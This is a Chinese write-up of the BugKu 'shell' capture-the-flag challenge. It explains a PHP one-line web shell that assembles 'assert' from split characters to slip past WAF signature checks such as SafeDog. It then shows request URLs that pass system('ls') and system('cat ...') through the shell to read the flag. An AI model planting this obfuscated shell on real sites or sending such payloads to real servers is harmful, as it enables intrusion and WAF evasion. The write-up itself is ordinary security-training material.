BugKu——shell

一、题目

二、方法

  • 提示中给了php代码:
php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

解析:
$poc = "a#s#s#e#r#t";

explode("#", $poc) 以 # 为分隔符,把字符串拆成数组:

php
$poc_1 = ["a", "s", "s", "e", "r", "t"];
然后拼接:

php
$poc_2 = "a"."s"."s"."e"."r"."t";  // 即 "assert"
最后执行:

php
assert($_GET['s']);
所以,这实际上是一个 assert 一句话木马,通过 GET 参数 s 传入代码并执行。
  • 过狗一句话什么意思?
    • "狗"通常指 安全狗(SafeDog) 之类的 WAF(Web 应用防火墙)。
    bash 复制代码
    直接写 assert($_GET['s']) 会被 WAF 拦截,因为 assert 是危险函数,$_GET 也是敏感特征。
    • 出题人用 explode + 字符串拼接的方式,把 assert 拆成 a#s#s#e#r#t,运行时才拼成 assert,从而绕过 WAF 的静态特征检测。这就是"过狗"的含义。
  • 既然 assert($_GET's') 会执行我们传入的代码,那么我们可以通过 ?s=... 来执行任意 PHP 代码。
  • 先用 PHP 函数读取文件,找到一个flag的txt文件。
html 复制代码
http://160.202.254.160:11145/?s=system('ls');
  • 查看该文件,得到flag。
html 复制代码
http://160.202.254.160:11145/?s=system('cat flaga15808abee46a1d5.txt');
相关推荐
持敬chijing8 小时前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
南棋网络安全13 小时前
ssrf跨站请求伪造(保姆级教程)
运维·服务器·网络·网络安全
科技象限13 小时前
数据防泄漏系统:文件是怎么溜出门的,就该怎么堵
运维·网络·网络安全·安企神
听说66614 小时前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全
白帽攻防录17 小时前
SRC 挖洞:PowerPoint 四个 RCE,预览窗格怎么变成零点击入口
网络安全·powerpoint·文档安全
酒神dnspup19 小时前
DNS 泄露检测怎么做:从随机权威域名、递归解析器出口到 HTTP 出口一致性
网络安全·dns·网络排查·dns泄露
学逆向的20 小时前
C 选择结构的执行效率分析
c语言·开发语言·算法·网络安全
愤怒火龙果21 小时前
AI攻防 LLM中间件
人工智能·网络安全·中间件
持敬chijing1 天前
白盒测试与代码审计-JS 数据逆向
javascript·网络·安全·web安全·网络安全·网络攻击模型·安全威胁分析
白帽攻防录1 天前
SRC 挖洞:PostScript 打印机驱动双 RCE,打印服务器怎么变成内网跳板
开发语言·网络安全·php·内网安全